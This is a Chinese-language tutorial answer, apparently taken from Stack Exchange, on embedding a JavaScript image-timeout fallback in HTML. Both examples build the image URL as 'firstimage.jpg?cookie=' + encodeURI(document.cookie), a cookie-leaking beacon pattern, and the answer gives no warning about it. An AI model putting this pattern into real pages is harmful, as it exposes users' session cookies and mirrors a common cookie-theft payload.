如何将图片加载超时降级的JS代码嵌入HTML页面？

没问题！我会一步步给你演示怎么把这段图片加载脚本嵌入HTML页面，哪怕你HTML基础薄弱也能轻松跟上～

方法1：直接生成图片并插入页面 #

这是最基础的方式，把你的代码放在<script>标签里，并且放在HTML的<body>末尾——这样能确保页面其他内容加载得差不多了再执行脚本，避免出问题：

<!DOCTYPE html>
<html>
<head>
    <title>图片加载示例</title>
</head>
<body>
    <!-- 这里可以放你的页面内容，比如标题、文字、其他元素 -->
    <h1>我的图片展示页</h1>

    <!-- 把脚本放在body末尾，确保页面环境准备就绪 -->
    <script>
        // 创建一个图片对象
        var image = new Image();
        // 设置初始要加载的图片地址，带上cookie参数
        image.src = "firstimage.jpg?cookie=" + encodeURI(document.cookie);
        
        // 等待1秒后检查图片是否加载成功
        setTimeout(function() {
            // 如果图片没加载完成，或者加载的是无效图片
            if (!image.complete || !image.naturalWidth) {
                // 切换到备用图片
                image.src = "backupimage.jpg";
            }
            // 把图片插入到页面的body末尾（你也可以指定其他位置）
            document.body.appendChild(image);
        }, 1000);
    </script>
</body>
</html>

方法2：给页面已有的标签用这个逻辑 #

如果你的页面里已经提前放好了一个<img>标签，想给它加上“超时换备用图”的功能，可以这么做：

<!DOCTYPE html>
<html>
<head>
    <title>已有图片的备用加载</title>
</head>
<body>
    <!-- 先在页面里放一个img标签，给它加个id方便JS找到它 -->
    <img id="mainDisplayImage" alt="我的展示图片" width="400">

    <script>
        // 通过id获取页面里的这个img元素
        var image = document.getElementById("mainDisplayImage");
        // 设置初始图片地址
        image.src = "firstimage.jpg?cookie=" + encodeURI(document.cookie);
        
        setTimeout(function() {
            // 检查图片是否加载失败
            if (!image.complete || !image.naturalWidth) {
                // 替换成备用图片
                image.src = "backupimage.jpg";
            }
        }, 1000);
    </script>
</body>
</html>

几个小提醒 #

• 为啥要把<script>放在<body>末尾？如果放在<head>里，页面还没加载完，方法2里的<img>标签可能还没创建出来，JS会找不到它，容易报错。
• image.complete用来检查图片是否加载完成，image.naturalWidth用来判断图片是否有效（如果加载失败，这个值会是0），两个条件一起用更稳妥。
• 要是想调整等待超时的时间，把代码里的1000改成其他数字就行——1000代表1秒，比如500就是0.5秒，2000就是2秒。

内容的提问来源于stack exchange，提问作者UnluckyForSome